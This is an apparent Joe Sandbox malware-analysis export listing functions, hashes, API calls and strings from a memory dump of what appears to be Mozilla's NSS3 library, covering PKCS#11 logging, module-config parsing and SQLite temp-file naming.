API String ID:
Opcode ID: f062735cf9cdd9f8c1adf4872dbab78da4dd7ec10928439b9a2e740783c7b833
Instruction ID: de7ac41bf67d13925d3a302cbb8cdbdc901bda94f8a079d5744259346ad49a96
Opcode Fuzzy Hash: f062735cf9cdd9f8c1adf4872dbab78da4dd7ec10928439b9a2e740783c7b833
Instruction Fuzzy Hash: 9AF18071A01205CFDB08CF18C4847AAB7B2BF89318F2981A9D819AF755DB35EC52CBD5

Function 6C651DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 671a48f60a48e022ee4bf9bd36e682a7cdce6b2062ab9f30c4d22da431974bff
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 6FD16B32E096568BDB118E18C8843DE7763AB85328FAD4328CD741B7C6C37B9926C7D4

Function 6C5E8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73fb82dc71ca235954fdb50e520abc04f6f75fe68281f37c1c4abef95120e641
Instruction ID: ebe82ddef3edc14bcdc29e18537227c64eb24972ad6217c5d35b3f19b597b756
Opcode Fuzzy Hash: 73fb82dc71ca235954fdb50e520abc04f6f75fe68281f37c1c4abef95120e641
Instruction Fuzzy Hash: 5811C132A002158FD714DF28DC8475AB3A5FF4A32CF1446BAD8198FA51D775E886C7C2

Function 6C6C0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f85b4b523a5f8efd9a433419443a8e2769a57965dcb9a7f958dc77d13b7eff3
Instruction ID: 753139e7fe286d9da780c2e9c768f895eff713956ebb343372f1c384c4ec1fc5
Opcode Fuzzy Hash: 4f85b4b523a5f8efd9a433419443a8e2769a57965dcb9a7f958dc77d13b7eff3
Instruction Fuzzy Hash: 7611C1B8704305CFCB10DF18C8806AA77A6FF85368F148079D8198B701DB31E806CBA6

Function 6C6C0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 5be39bfb4f9cc513c44ff9cbdfd823f7385789ce8b9f076d7f5c49b25ed9ae88
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 1AE0927A302054A7DB148E09C460AA97399DF82729FB4807ECC5E9FA01DB33F8438786

Function 6C5ECC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94405b68cec1f793e74970c829449d48f137a4f2c497d84fb099951d17ba1f92
Instruction ID: 7260a59d2f65b3b051d3ec9f707fe34a3e56939e1b9c3f68fa19f7effeeb6396
Opcode Fuzzy Hash: 94405b68cec1f793e74970c829449d48f137a4f2c497d84fb099951d17ba1f92
Instruction Fuzzy Hash: E8C09238244708CFC704DF08E489DA53BF8FF0D61079400A4EA0A8B721EB31FC10DA80

Function 6C621D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C621D46), ref: 6C622345

Strings

CKR_OPERATION_CANCEL_FAILED, xrefs: 6C621F77
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C622319
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C621EE1
CKR_BUFFER_TOO_SMALL, xrefs: 6C622183
rv = %s, xrefs: 6C622340
CKR_MUTEX_BAD, xrefs: 6C621F49
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C62232E
CKR_INFORMATION_SENSITIVE, xrefs: 6C6222B1
CKR_PIN_INCORRECT, xrefs: 6C621D92
CKR_OK, xrefs: 6C621DFC
CKR_RANDOM_NO_RNG, xrefs: 6C6222A7
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C621F95
CKR_PIN_INVALID, xrefs: 6C622057
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6220D9
CKR_NEW_PIN_MODE, xrefs: 6C621E9F
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C621F8B
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C62218D
CKR_OPERATION_ACTIVE, xrefs: 6C6222B8
CKR_DEVICE_MEMORY, xrefs: 6C621FF3
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C62204D
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C622327
CKR_PIN_LOCKED, xrefs: 6C622075
CKR_SIGNATURE_INVALID, xrefs: 6C6220CF
CKR_FUNCTION_REJECTED, xrefs: 6C622289
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C622320
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C621F0F
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C62226B
CKR_DEVICE_ERROR, xrefs: 6C62229D
CKR_PIN_EXPIRED, xrefs: 6C62206B
rv = 0x%x, xrefs: 6C622312
CKR_SAVED_STATE_INVALID, xrefs: 6C621E56
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C622293, 6C62233F
CKR_TOKEN_NOT_PRESENT, xrefs: 6C621F81
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C621DE0
CKR_STATE_UNSAVEABLE, xrefs: 6C622037
CKR_MUTEX_NOT_LOCKED, xrefs: 6C622225
CKR_PIN_LEN_RANGE, xrefs: 6C622061
CKR_DEVICE_REMOVED, xrefs: 6C622261
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6222FF
CKR_FUNCTION_CANCELED, xrefs: 6C621E73
CKR_NEXT_OTP, xrefs: 6C62222F
CKR_WRAPPED_KEY_INVALID, xrefs: 6C621FB5
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C62227F
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C622179
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C622275
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C621FD7
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C622015

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c37eae185286e9e9e2d1ba017fce55d5974331c5856806ca37d809a0d1f94ea2
Instruction ID: 2623ba29631357d4632c47a77ec4bbafe33c99621cc30cf68de6fd8bb697a8f1
Opcode Fuzzy Hash: c37eae185286e9e9e2d1ba017fce55d5974331c5856806ca37d809a0d1f94ea2
Instruction Fuzzy Hash: BD61162066E064C6E76C444C96AE3EC2364B782334F649137E7998EE52C65ECE424EDF

Function 6C655DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C655E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C655E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C655E5C
free.MOZGLUE(00000000), ref: 6C655E7E
free.MOZGLUE(00000000), ref: 6C655E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C655EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C655EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C655ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C655EF0
free.MOZGLUE(00000000), ref: 6C655F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C655F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C655F5B
free.MOZGLUE(00000000), ref: 6C655F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C655FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C655FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C655FC4
free.MOZGLUE(00000000), ref: 6C655FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C655FE9
free.MOZGLUE(00000000), ref: 6C655FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C65600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C656027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C65605A
PR_smprintf.NSS3(6C72AAF9,00000000), ref: 6C65606A
free.MOZGLUE(00000000), ref: 6C65607C
free.MOZGLUE(00000000), ref: 6C65609A
free.MOZGLUE(00000000), ref: 6C6560B2
free.MOZGLUE(?), ref: 6C6560CE

Strings

noModDB, xrefs: 6C655EEA
forceSecmodChoice, xrefs: 6C655F55
secmod.db, xrefs: 6C655EA0
configDir=, xrefs: 6C655F9D
%s/%s, xrefs: 6C656055
flags, xrefs: 6C655E3A, 6C655EC6, 6C655F30
readOnly, xrefs: 6C655E56
secmod=, xrefs: 6C655FB1
pkcs11.txt, xrefs: 6C655F47, 6C655F7C, 6C65603A, 6C656053

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 69effec0cf073c7f3560aa12b68f38325328fda48ff9ddf8d54acce4e93f6506
Instruction ID: ad6ceffa4db8a6c572762d651d633ff23d2001ee8eb24c30eab0acfb603dd6ea
Opcode Fuzzy Hash: 69effec0cf073c7f3560aa12b68f38325328fda48ff9ddf8d54acce4e93f6506
Instruction Fuzzy Hash: 51910AF0A042015BEF119F35DD85BAA3BA4AF0634CFA80061EC55D7B42E735D535CBAA

Function 6C5E1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C5E1DA3

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C5E1DB2

Part of subcall function 6C5E1240: TlsGetValue.KERNEL32(00000040,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1267
Part of subcall function 6C5E1240: EnterCriticalSection.KERNEL32(?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E127C
Part of subcall function 6C5E1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1291
Part of subcall function 6C5E1240: PR_Unlock.NSS3(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5E1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C5E1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C5E1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C5E1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C5E1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C5E1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5E1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C5E1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C5E1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E1F83
PR_SetLogFile.NSS3(00000000), ref: 6C5E1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C5E1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C5E1FCB
free.MOZGLUE(00000000), ref: 6C5E1FD2

Strings

NSPR_LOG_MODULES, xrefs: 6C5E1DAD
sync, xrefs: 6C5E1E46
, %n, xrefs: 6C5E1E6B
timestamp, xrefs: 6C5E1EC4
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C5E1E27
append, xrefs: 6C5E1EE6
all, xrefs: 6C5E1F0E
Unable to create nspr log file '%s', xrefs: 6C5E1FB3
NSPR_LOG_FILE, xrefs: 6C5E1F69
bufsize, xrefs: 6C5E1E9B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: d1c10c938edb0a34eb20414f383653bc21c35f5efb6f6d5e882652ad7ac2f096
Instruction ID: 8fd59b40400587da5484018b4703540c87b00fe513a92c16aff8be76a1d25e75
Opcode Fuzzy Hash: d1c10c938edb0a34eb20414f383653bc21c35f5efb6f6d5e882652ad7ac2f096
Instruction Fuzzy Hash: A351A1B1E002599BDF00DBE4CE48B9F7BB8AF0930AF144529E815DB642E775D908CBA1

Function 6C6C6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C57CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5DF9C9,?,6C5DF4DA,6C5DF9C9,?,?,6C5A369A), ref: 6C57CA7A
Part of subcall function 6C57CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C57CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C58BE66), ref: 6C6C6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C58BE66), ref: 6C6C6E98
sqlite3_snprintf.NSS3(?,00000000,6C72AAF9,?,?,?,?,?,?,6C58BE66), ref: 6C6C6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C58BE66), ref: 6C6C6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C58BE66), ref: 6C6C6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C58BE66), ref: 6C6C6FA6
sqlite3_snprintf.NSS3(?,00000000,6C72AAF9,00000000,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C58BE66), ref: 6C6C701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C58BE66), ref: 6C6C7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C58BE66), ref: 6C6C7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C58BE66), ref: 6C6C70A0

Strings

winGetTempname2, xrefs: 6C6C70C4
mz_etilqs_, xrefs: 6C6C6F18
winGetTempname4, xrefs: 6C6C7046
Ppl, xrefs: 6C6C70A8
winGetTempname1, xrefs: 6C6C708F
winGetTempname5, xrefs: 6C6C7071

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Ppl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-1590197924
Opcode ID: efdf0e941caab08ed3537c5a41583a95aa52dcd4b7b9eda5126451c0ea6e170a
Instruction ID: d7b8345585cf9a5f0b0fd1ad5cd35d49adca08229d00e5a2a9975588429f2a22
Opcode Fuzzy Hash: efdf0e941caab08ed3537c5a41583a95aa52dcd4b7b9eda5126451c0ea6e170a
Instruction Fuzzy Hash: 225168B1B042116BE71096309C59BBB3666DFD2318F144538E81596BC2FB25E90E83EB

Function 6C628E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C628E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C628EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C628EB3

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C628EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C628EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C628F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C628F29
PR_LogPrint.NSS3(?,00000000), ref: 6C628F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C628F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C628F80
PR_LogPrint.NSS3(?,00000000), ref: 6C628F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C628FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C628FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C629047

Strings

npl, xrefs: 6C628FEC, 6C629023
pMechanism = 0x%p, xrefs: 6C628EE0
(CK_INVALID_HANDLE), xrefs: 6C628EAC, 6C628F1F, 6C628F79
pWrappedKey = 0x%p, xrefs: 6C628FAD
hKey = 0x%x, xrefs: 6C628F5B, 6C628F6B
*pulWrappedKeyLen = 0x%x, xrefs: 6C629042
C_WrapKey, xrefs: 6C628E71
hWrappingKey = 0x%x, xrefs: 6C628F01, 6C628F11
pulWrappedKeyLen = 0x%p, xrefs: 6C628FC8
hSession = 0x%x, xrefs: 6C628E8E, 6C628E9E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$npl
API String ID: 1003633598-4248672735
Opcode ID: 439b001f4dcf86231562dbf2fac9c776d64894872c6420094be7089d0f517ae0
Instruction ID: 54c58a22fe413f50ca961a10b8297ef8e6b418c3e1d84b050336be1a445f0cce
Opcode Fuzzy Hash: 439b001f4dcf86231562dbf2fac9c776d64894872c6420094be7089d0f517ae0
Instruction Fuzzy Hash: 3751E872A01104AFDB009F54DE4CF9B7BB6AB4635CF484026F5086BB22DF359918CF9A
